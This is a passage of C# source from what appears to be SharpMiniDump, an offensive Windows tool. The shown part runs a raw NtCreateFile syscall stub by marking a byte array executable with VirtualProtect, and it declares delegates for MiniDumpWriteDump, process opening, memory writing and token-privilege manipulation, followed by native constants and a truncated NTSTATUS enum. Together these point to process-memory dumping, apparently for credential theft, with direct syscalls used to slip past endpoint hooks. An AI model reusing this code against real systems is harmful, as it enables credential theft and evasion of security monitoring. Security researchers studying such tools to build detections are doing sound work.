244 | ref OBJECT_ATTRIBUTES objectAttributes,
245 | out IO_STATUS_BLOCK ioStatusBlock,
246 | ref Int64 allocationSize,
247 | UInt32 fileAttributes,
248 | System.IO.FileShare shareAccess,
249 | UInt32 createDisposition,
250 | UInt32 createOptions,
251 | IntPtr eaBuffer,
252 | UInt32 eaLength)
253 | {
254 | byte[] syscall = bNtCreateFile10;
255 |
256 | unsafe
257 | {
258 | fixed (byte* ptr = syscall)
259 | {
260 |
261 | IntPtr memoryAddress = (IntPtr)ptr;
262 |
263 | if (!Natives.VirtualProtect(memoryAddress,
264 | (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
265 | {
266 | throw new Win32Exception();
267 | }
268 |
269 | Delegates.NtCreateFile myAssemblyFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile));
270 |
271 | return (NTSTATUS)myAssemblyFunction(out fileHandle,
272 | desiredAccess,
273 | ref objectAttributes,
274 | out ioStatusBlock,
275 | ref allocationSize,
276 | fileAttributes,
277 | shareAccess,
278 | createDisposition,
279 | createOptions,
280 | eaBuffer,
281 | eaLength);
282 | }
283 | }
284 | }
285 |
286 | public struct Delegates
287 | {
288 | [SuppressUnmanagedCodeSecurity]
289 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
290 | public delegate int ZwOpenProcess(out IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid);
291 |
292 | [SuppressUnmanagedCodeSecurity]
293 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
294 | public delegate int ZwClose(IntPtr handle);
295 |
296 | [SuppressUnmanagedCodeSecurity]
297 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
298 | public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten);
299 |
300 | [SuppressUnmanagedCodeSecurity]
301 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
302 | public delegate int ZwProtectVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten);
303 |
304 | [SuppressUnmanagedCodeSecurity]
305 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
306 | public delegate int ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength);
307 |
308 | [SuppressUnmanagedCodeSecurity]
309 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
310 | public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect);
311 |
312 | [SuppressUnmanagedCodeSecurity]
313 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
314 | public delegate int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType);
315 |
316 | [SuppressUnmanagedCodeSecurity]
317 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
318 | public delegate int NtCreateFile(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
319 | Int32 desiredAccess,
320 | ref OBJECT_ATTRIBUTES objectAttributes,
321 | out IO_STATUS_BLOCK ioStatusBlock,
322 | ref Int64 allocationSize,
323 | UInt32 fileAttributes,
324 | System.IO.FileShare shareAccess,
325 | UInt32 createDisposition,
326 | UInt32 createOptions,
327 | IntPtr eaBuffer,
328 | UInt32 eaLength);
329 |
330 | [SuppressUnmanagedCodeSecurity]
331 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
332 | public delegate bool RtlEqualUnicodeString(UNICODE_STRING String1, UNICODE_STRING String2, bool CaseInSensitive);
333 |
334 | [SuppressUnmanagedCodeSecurity]
335 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
336 | public delegate bool RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInformation);
337 |
338 | [SuppressUnmanagedCodeSecurity]
339 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
340 | public delegate bool RtlInitUnicodeString(ref UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
341 |
342 | [SuppressUnmanagedCodeSecurity]
343 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
344 | public delegate bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
345 |
346 |
347 | [SuppressUnmanagedCodeSecurity]
348 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
349 | public delegate bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
350 |
351 | [SuppressUnmanagedCodeSecurity]
352 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
353 | public delegate int LdrLoadDll(IntPtr PathToFile,
354 | UInt32 dwFlags,
355 | ref Natives.UNICODE_STRING ModuleFileName,
356 | ref IntPtr ModuleHandle);
357 |
358 |
359 | [SuppressUnmanagedCodeSecurity]
360 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
361 | public delegate int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken);
362 |
363 | [SuppressUnmanagedCodeSecurity]
364 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
365 | public delegate bool RevertToSelf();
366 |
367 | [SuppressUnmanagedCodeSecurity]
368 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
369 | public delegate Boolean ImpersonateLoggedOnUser(IntPtr hToken);
370 |
371 |
372 | [SuppressUnmanagedCodeSecurity]
373 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
374 | public delegate IntPtr GetCurrentProcess();
375 |
376 | [SuppressUnmanagedCodeSecurity]
377 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
378 | public delegate bool CloseHandle(IntPtr handle);
379 |
380 | [SuppressUnmanagedCodeSecurity]
381 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
382 | public delegate bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);
383 |
384 | [SuppressUnmanagedCodeSecurity]
385 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
386 | public delegate bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
387 |
388 | [SuppressUnmanagedCodeSecurity]
389 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
390 | public delegate bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
391 |
392 | [SuppressUnmanagedCodeSecurity]
393 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
394 | public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
395 |
396 | [SuppressUnmanagedCodeSecurity]
397 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
398 | public delegate bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint newprotect, out uint oldprotect);
399 |
400 | [SuppressUnmanagedCodeSecurity]
401 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
402 | public delegate bool LookupPrivilegeValue(String lpSystemName, String lpName, ref LUID luid);
403 |
404 | [SuppressUnmanagedCodeSecurity]
405 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
406 | public delegate bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes);
407 |
408 | [SuppressUnmanagedCodeSecurity]
409 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
410 | public delegate int PssCaptureSnapshot(IntPtr ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle);
411 |
412 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
413 | public delegate bool MyMiniDumpWriteDumpCallback(IntPtr CallbackParam, IntPtr CallbackInput, IntPtr CallbackOutput);
414 | }
415 | }
416 | }
417 |
--------------------------------------------------------------------------------
/SharpMiniDump/Natives.cs:
--------------------------------------------------------------------------------
1 | //
2 | // Author: B4rtik (@b4rtik)
3 | // Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump)
4 | // License: BSD 3-Clause
5 | //
6 |
7 | using System;
8 | using System.Runtime.InteropServices;
9 |
10 | namespace SharpMiniDump
11 | {
12 | class Natives
13 | {
14 | public const int FILE_READ_DATA = 0x0001; // file & pipe
15 | public const int FILE_LIST_DIRECTORY = 0x0001; // directory
16 | public const int FILE_WRITE_DATA = 0x0002; // file & pipe
17 | public const int FILE_ADD_FILE = 0x0002; // directory
18 | public const int FILE_APPEND_DATA = 0x0004; // file
19 | public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory
20 | public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe
21 | public const int FILE_READ_EA = 0x0008; // file & directory
22 | public const int FILE_WRITE_EA = 0x0010; // file & directory
23 | public const int FILE_EXECUTE = 0x0020; // file
24 | public const int FILE_TRAVERSE = 0x0020; // directory
25 | public const int FILE_DELETE_CHILD = 0x0040; // directory
26 | public const int FILE_READ_ATTRIBUTES = 0x0080; // all
27 | public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all
28 | public const int FILE_OVERWRITE_IF = 0x00000005;
29 | public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020;
30 |
31 | public const long READ_CONTROL = 0x00020000;
32 | public const long SYNCHRONIZE = 0x00100000;
33 | public const long STANDARD_RIGHTS_WRITE = READ_CONTROL;
34 | public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL;
35 | public const long STANDARD_RIGHTS_ALL = 0x001F0000;
36 |
37 | public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF;
38 | public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF;
39 |
40 | public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
41 | public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
42 | public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
43 | public const UInt32 TOKEN_DUPLICATE = 0x0002;
44 | public const UInt32 TOKEN_IMPERSONATE = 0x0004;
45 | public const UInt32 TOKEN_QUERY = 0x0008;
46 | public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
47 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
48 | public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
49 | public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
50 | public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
51 | public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
52 | public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
53 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
54 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
55 | TOKEN_ADJUST_SESSIONID);
56 | public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
57 |
58 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
59 |
60 | public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ |
61 | FILE_READ_DATA |
62 | FILE_READ_ATTRIBUTES |
63 | FILE_READ_EA |
64 | SYNCHRONIZE;
65 |
66 | public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE |
67 | FILE_WRITE_DATA |
68 | FILE_WRITE_ATTRIBUTES |
69 | FILE_WRITE_EA |
70 | FILE_APPEND_DATA |
71 | SYNCHRONIZE;
72 |
73 | public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE |
74 | FILE_READ_ATTRIBUTES |
75 | FILE_EXECUTE |
76 | SYNCHRONIZE;
77 |
78 | public const int FILE_SHARE_READ = 0x00000001;
79 | public const int FILE_SHARE_WRITE = 0x00000002;
80 | public const int FILE_SHARE_DELETE = 0x00000004;
81 | public const int FILE_ATTRIBUTE_READONLY = 0x00000001;
82 | public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002;
83 | public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004;
84 | public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010;
85 | public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020;
86 | public const int FILE_ATTRIBUTE_DEVICE = 0x00000040;
87 | public const int FILE_ATTRIBUTE_NORMAL = 0x00000080;
88 | public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100;
89 | public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200;
90 | public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400;
91 | public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800;
92 | public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000;
93 | public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000;
94 | public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000;
95 | public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001;
96 | public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002;
97 | public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004;
98 | public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008;
99 | public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010;
100 | public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020;
101 | public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040;
102 | public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100;
103 | public const int FILE_ACTION_ADDED = 0x00000001;
104 | public const int FILE_ACTION_REMOVED = 0x00000002;
105 | public const int FILE_ACTION_MODIFIED = 0x00000003;
106 | public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004;
107 | public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005;
108 | public const int MAILSLOT_NO_MESSAGE = -1;
109 | public const int MAILSLOT_WAIT_FOREVER = -1;
110 | public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001;
111 | public const int FILE_CASE_PRESERVED_NAMES = 0x00000002;
112 | public const int FILE_UNICODE_ON_DISK = 0x00000004;
113 | public const int FILE_PERSISTENT_ACLS = 0x00000008;
114 | public const int FILE_FILE_COMPRESSION = 0x00000010;
115 | public const int FILE_VOLUME_QUOTAS = 0x00000020;
116 | public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040;
117 | public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080;
118 | public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100;
119 | public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000;
120 | public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000;
121 | public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000;
122 | public const int FILE_NAMED_STREAMS = 0x00040000;
123 | public const int FILE_READ_ONLY_VOLUME = 0x00080000;
124 | public const int CREATE_ALWAYS = 2;
125 |
126 | public struct WIN_VER_INFO
127 | {
128 | public string chOSMajorMinor;
129 | public long dwBuildNumber;
130 | public UNICODE_STRING ProcName;
131 | public IntPtr hTargetPID;
132 | public string lpApiCall;
133 | public int SystemCall;
134 | }
135 |
136 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
137 | public struct OSVERSIONINFOEXW
138 | {
139 | public int dwOSVersionInfoSize;
140 | public int dwMajorVersion;
141 | public int dwMinorVersion;
142 | public int dwBuildNumber;
143 | public int dwPlatformId;
144 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
145 | public string szCSDVersion;
146 | public UInt16 wServicePackMajor;
147 | public UInt16 wServicePackMinor;
148 | public UInt16 wSuiteMask;
149 | public byte wProductType;
150 | public byte wReserved;
151 | }
152 |
153 |
154 |
155 | [StructLayout(LayoutKind.Sequential)]
156 | public struct LARGE_INTEGER
157 | {
158 | public UInt32 LowPart;
159 | public UInt32 HighPart;
160 | }
161 |
162 | [StructLayout(LayoutKind.Sequential)]
163 | public struct UNICODE_STRING
164 | {
165 | public UInt16 Length;
166 | public UInt16 MaximumLength;
167 | public IntPtr Buffer;
168 | }
169 |
170 | [StructLayout(LayoutKind.Sequential)]
171 | public struct SYSTEM_PROCESSES
172 | {
173 | public int NextEntryOffset;
174 | public int NumberOfThreads;
175 | public LARGE_INTEGER WorkingSetPrivateSize;
176 | public uint HardFaultCount;
177 | public uint NumberOfThreadsHighWatermark;
178 | public ulong CycleTime;
179 | public long CreateTime;
180 | public long UserTime;
181 | public long KernelTime;
182 | public UNICODE_STRING ImageName;
183 | public int BasePriority;
184 | public IntPtr UniqueProcessId;
185 | public IntPtr InheritedFromUniqueProcessId;
186 | public int HandleCount;
187 | public int SessionId;
188 | public IntPtr UniqueProcessKey;
189 | public IntPtr PeakVirtualSize;
190 | public IntPtr VirtualSize;
191 | public uint PageFaultCount;
192 | public IntPtr PeakWorkingSetSize;
193 | public IntPtr WorkingSetSize;
194 | public IntPtr QuotaPeakPagedPoolUsage;
195 | public IntPtr QuotaPagedPoolUsage;
196 | public IntPtr QuotaPeakNonPagedPoolUsage;
197 | public IntPtr QuotaNonPagedPoolUsage;
198 | public IntPtr PagefileUsage;
199 | public IntPtr PeakPagefileUsage;
200 | public IntPtr PrivatePageCount;
201 | public LARGE_INTEGER ReadOperationCount;
202 | public LARGE_INTEGER WriteOperationCount;
203 | public LARGE_INTEGER OtherOperationCount;
204 | public LARGE_INTEGER ReadTransferCount;
205 | public LARGE_INTEGER WriteTransferCount;
206 | public LARGE_INTEGER OtherTransferCount;
207 | }
208 |
209 | [StructLayout(LayoutKind.Sequential)]
210 | public struct LUID_AND_ATTRIBUTES
211 | {
212 | public LUID Luid;
213 | public UInt32 Attributes;
214 | }
215 |
216 | [StructLayout(LayoutKind.Sequential)]
217 | public struct LUID
218 | {
219 | public UInt32 LowPart;
220 | public UInt32 HighPart;
221 | }
222 |
223 | [StructLayout(LayoutKind.Sequential)]
224 | public struct TOKEN_PRIVILEGES
225 | {
226 | public UInt32 PrivilegeCount;
227 | public LUID_AND_ATTRIBUTES Privileges;
228 | }
229 |
230 | [Flags]
231 | public enum ProcessAccessFlags : uint
232 | {
233 | All = 0x001F0FFF,
234 | Terminate = 0x00000001,
235 | CreateThread = 0x00000002,
236 | VirtualMemoryOperation = 0x00000008,
237 | VirtualMemoryRead = 0x00000010,
238 | VirtualMemoryWrite = 0x00000020,
239 | DuplicateHandle = 0x00000040,
240 | CreateProcess = 0x000000080,
241 | SetQuota = 0x00000100,
242 | SetInformation = 0x00000200,
243 | QueryInformation = 0x00000400,
244 | QueryLimitedInformation = 0x00001000,
245 | Synchronize = 0x00100000
246 | }
247 |
248 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
249 | public struct IO_STATUS_BLOCK
250 | {
251 | public uint status;
252 | public IntPtr information;
253 | }
254 |
255 | public struct CLIENT_ID
256 | {
257 | public IntPtr UniqueProcess;
258 | public IntPtr UniqueThread;
259 | }
260 |
261 | [StructLayout(LayoutKind.Sequential)]
262 | public struct OBJECT_ATTRIBUTES
263 | {
264 | public ulong Length;
265 | public IntPtr RootDirectory;
266 | public IntPtr ObjectName;
267 | public ulong Attributes;
268 | public IntPtr SecurityDescriptor;
269 | public IntPtr SecurityQualityOfService;
270 | }
271 |
272 | public enum NTSTATUS : uint
273 | {
274 | // Success
275 | Success = 0x00000000,
276 | Wait0 = 0x00000000,
277 | Wait1 = 0x00000001,
278 | Wait2 = 0x00000002,
279 | Wait3 = 0x00000003,
280 | Wait63 = 0x0000003f,
281 | Abandoned = 0x00000080,
282 | AbandonedWait0 = 0x00000080,
283 | AbandonedWait1 = 0x00000081,
284 | AbandonedWait2 = 0x00000082,
285 | AbandonedWait3 = 0x00000083,
286 | AbandonedWait63 = 0x000000bf,
287 | UserApc = 0x000000c0,
288 | KernelApc = 0x00000100,
289 | Alerted = 0x00000101,
290 | Timeout = 0x00000102,
291 | Pending = 0x00000103,
292 | Reparse = 0x00000104,
293 | MoreEntries = 0x00000105,
294 | NotAllAssigned = 0x00000106,
295 | SomeNotMapped = 0x00000107,
296 | OpLockBreakInProgress = 0x00000108,
297 | VolumeMounted = 0x00000109,
298 | RxActCommitted = 0x0000010a,
299 | NotifyCleanup = 0x0000010b,
300 | NotifyEnumDir = 0x0000010c,
301 | NoQuotasForAccount = 0x0000010d,
302 | PrimaryTransportConnectFailed = 0x0000010e,
303 | PageFaultTransition = 0x00000110,
304 | PageFaultDemandZero = 0x00000111,
305 | PageFaultCopyOnWrite = 0x00000112,
306 | PageFaultGuardPage = 0x00000113,
307 | PageFaultPagingFile = 0x00000114,
308 | CrashDump = 0x00000116,
309 | ReparseObject = 0x00000118,
310 | NothingToTerminate = 0x00000122,
311 | ProcessNotInJob = 0x00000123,
312 | ProcessInJob = 0x00000124,
313 | ProcessCloned = 0x00000129,
314 | FileLockedWithOnlyReaders = 0x0000012a,
315 | FileLockedWithWriters = 0x0000012b,
316 |
317 | // Informational
318 | Informational = 0x40000000,
319 | ObjectNameExists = 0x40000000,
320 | ThreadWasSuspended = 0x40000001,
321 | WorkingSetLimitRange = 0x40000002,
322 | ImageNotAtBase = 0x40000003,
323 | RegistryRecovered = 0x40000009,
324 |
325 | // Warning
326 | Warning = 0x80000000,
327 | GuardPageViolation = 0x80000001,
328 | DatatypeMisalignment = 0x80000002,
329 | Breakpoint = 0x80000003,
330 | SingleStep = 0x80000004,
331 | BufferOverflow = 0x80000005,
332 | NoMoreFiles = 0x80000006,
333 | HandlesClosed = 0x8000000a,
334 | PartialCopy = 0x8000000d,
335 | DeviceBusy = 0x80000011,
336 | InvalidEaName = 0x80000013,
337 | EaListInconsistent = 0x80000014,
338 | NoMoreEntries = 0x8000001a,
339 | LongJump = 0x80000026,
340 | DllMightBeInsecure = 0x8000002b,
341 |
342 | // Error
343 | Error = 0xc0000000,
344 | Unsuccessful = 0xc0000001,
345 | NotImplemented = 0xc0000002,
346 | InvalidInfoClass = 0xc0000003,
347 | InfoLengthMismatch = 0xc0000004,
348 | AccessViolation = 0xc0000005,
349 | InPageError = 0xc0000006,
350 | PagefileQuota = 0xc0000007,
351 | InvalidHandle = 0xc0000008,
352 | BadInitialStack = 0xc0000009,
353 | BadInitialPc = 0xc000000a,
354 | InvalidCid = 0xc000000b,
355 | TimerNotCanceled = 0xc000000c,
356 | InvalidParameter = 0xc000000d,
357 | NoSuchDevice = 0xc000000e,
358 | NoSuchFile = 0xc000000f,
359 | InvalidDeviceRequest = 0xc0000010,
360 | EndOfFile = 0xc0000011,
361 | WrongVolume = 0xc0000012,
362 | NoMediaInDevice = 0xc0000013,
363 | NoMemory = 0xc0000017,
364 | ConflictingAddresses = 0xc0000018,
365 | NotMappedView = 0xc0000019,
366 | UnableToFreeVm = 0xc000001a,
367 | UnableToDeleteSection = 0xc000001b,
368 | IllegalInstruction = 0xc000001d,
369 | AlreadyCommitted = 0xc0000021,
370 | AccessDenied = 0xc0000022,
371 | BufferTooSmall = 0xc0000023,
372 | ObjectTypeMismatch = 0xc0000024,
373 | NonContinuableException = 0xc0000025,
374 | BadStack = 0xc0000028,
375 | NotLocked = 0xc000002a,
376 | NotCommitted = 0xc000002d,
377 | InvalidParameterMix = 0xc0000030,
378 | ObjectNameInvalid = 0xc0000033,
379 | ObjectNameNotFound = 0xc0000034,
380 | ObjectNameCollision = 0xc0000035,
381 | ObjectPathInvalid = 0xc0000039,
382 | ObjectPathNotFound = 0xc000003a,
383 | ObjectPathSyntaxBad = 0xc000003b,
384 | DataOverrun = 0xc000003c,
385 | DataLate = 0xc000003d,
386 | DataError = 0xc000003e,
387 | CrcError = 0xc000003f,
388 | SectionTooBig = 0xc0000040,
389 | PortConnectionRefused = 0xc0000041,
390 | InvalidPortHandle = 0xc0000042,
391 | SharingViolation = 0xc0000043,
392 | QuotaExceeded = 0xc0000044,
393 | InvalidPageProtection = 0xc0000045,
394 | MutantNotOwned = 0xc0000046,
395 | SemaphoreLimitExceeded = 0xc0000047,
396 | PortAlreadySet = 0xc0000048,
397 | SectionNotImage = 0xc0000049,
398 | SuspendCountExceeded = 0xc000004a,
399 | ThreadIsTerminating = 0xc000004b,
400 | BadWorkingSetLimit = 0xc000004c,
401 | IncompatibleFileMap = 0xc000004d,
402 | SectionProtection = 0xc000004e,
403 | EasNotSupported = 0xc000004f,
404 | EaTooLarge = 0xc0000050,
405 | NonExistentEaEntry = 0xc0000051,
406 | NoEasOnFile = 0xc0000052,
407 | EaCorruptError = 0xc0000053,
408 | FileLockConflict = 0xc0000054,
409 | LockNotGranted = 0xc0000055,
410 | DeletePending = 0xc0000056,
411 | CtlFileNotSupported = 0xc0000057,
412 | UnknownRevision = 0xc0000058,
413 | RevisionMismatch = 0xc0000059,
414 | InvalidOwner = 0xc000005a,
415 | InvalidPrimaryGroup = 0xc000005b,
416 | NoImpersonationToken = 0xc000005c,
417 | CantDisableMandatory = 0xc000005d,
418 | NoLogonServers = 0xc000005e,
419 | NoSuchLogonSession = 0xc000005f,
420 | NoSuchPrivilege = 0xc0000060,
421 | PrivilegeNotHeld = 0xc0000061,
422 | InvalidAccountName = 0xc0000062,
423 | UserExists = 0xc0000063,
424 | NoSuchUser = 0xc0000064,
425 | GroupExists = 0xc0000065,
426 | NoSuchGroup = 0xc0000066,
427 | MemberInGroup = 0xc0000067,
428 | MemberNotInGroup = 0xc0000068,
429 | LastAdmin = 0xc0000069,
430 | WrongPassword = 0xc000006a,
431 | IllFormedPassword = 0xc000006b,
432 | PasswordRestriction = 0xc000006c,
433 | LogonFailure = 0xc000006d,
434 | AccountRestriction = 0xc000006e,
435 | InvalidLogonHours = 0xc000006f,
436 | InvalidWorkstation = 0xc0000070,
437 | PasswordExpired = 0xc0000071,
438 | AccountDisabled = 0xc0000072,
439 | NoneMapped = 0xc0000073,
440 | TooManyLuidsRequested = 0xc0000074,
441 | LuidsExhausted = 0xc0000075,
442 | InvalidSubAuthority = 0xc0000076,
443 | InvalidAcl = 0xc0000077,
444 | InvalidSid = 0xc0000078,
445 | InvalidSecurityDescr = 0xc0000079,
446 | ProcedureNotFound = 0xc000007a,
447 | InvalidImageFormat = 0xc000007b,
448 | NoToken = 0xc000007c,
449 | BadInheritanceAcl = 0xc000007d,
450 | RangeNotLocked = 0xc000007e,
451 | DiskFull = 0xc000007f,
452 | ServerDisabled = 0xc0000080,
453 | ServerNotDisabled = 0xc0000081,
454 | TooManyGuidsRequested = 0xc0000082,
455 | GuidsExhausted = 0xc0000083,
456 | InvalidIdAuthority = 0xc0000084,
457 | AgentsExhausted = 0xc0000085,
458 | InvalidVolumeLabel = 0xc0000086,
459 | SectionNotExtended = 0xc0000087,
460 | NotMappedData = 0xc0000088,
461 | ResourceDataNotFound = 0xc0000089,
462 | ResourceTypeNotFound = 0xc000008a,
463 | ResourceNameNotFound = 0xc000008b,
464 | ArrayBoundsExceeded = 0xc000008c,
465 | FloatDenormalOperand = 0xc000008d,
466 | FloatDivideByZero = 0xc000008e,
467 | FloatInexactResult = 0xc000008f,
468 | FloatInvalidOperation = 0xc0000090,
469 | FloatOverflow = 0xc0000091,
470 | FloatStackCheck = 0xc0000092,
471 | FloatUnderflow = 0xc0000093,
472 | IntegerDivideByZero = 0xc0000094,
473 | IntegerOverflow = 0xc0000095,
474 | PrivilegedInstruction = 0xc0000096,
475 | TooManyPagingFiles = 0xc0000097,
476 | FileInvalid = 0xc0000098,
477 | InstanceNotAvailable = 0xc00000ab,
478 | PipeNotAvailable = 0xc00000ac,
479 | InvalidPipeState = 0xc00000ad,
480 | PipeBusy = 0xc00000ae,
481 | IllegalFunction = 0xc00000af,
482 | PipeDisconnected = 0xc00000b0,
483 | PipeClosing = 0xc00000b1,
484 | PipeConnected = 0xc00000b2,
485 | PipeListening = 0xc00000b3,
486 | InvalidReadMode = 0xc00000b4,
487 | IoTimeout = 0xc00000b5,
488 | FileForcedClosed = 0xc00000b6,
489 | ProfilingNotStarted = 0xc00000b7,
490 | ProfilingNotStopped = 0xc00000b8,
491 | NotSameDevice = 0xc00000d4,
492 | FileRenamed = 0xc00000d5,
493 | CantWait = 0xc00000d8,
494 | PipeEmpty = 0xc00000d9,
495 | CantTerminateSelf = 0xc00000db,
496 | InternalError = 0xc00000e5,
497 | InvalidParameter1 = 0xc00000ef,
498 | InvalidParameter2 = 0xc00000f0,
499 | InvalidParameter3 = 0xc00000f1,
500 | InvalidParameter4 = 0xc00000f2,
501 | InvalidParameter5 = 0xc00000f3,
502 | InvalidParameter6 = 0xc00000f4,
503 | InvalidParameter7 = 0xc00000f5,
504 | InvalidParameter8 = 0xc00000f6,
505 | InvalidParameter9 = 0xc00000f7,
506 | InvalidParameter10 = 0xc00000f8,
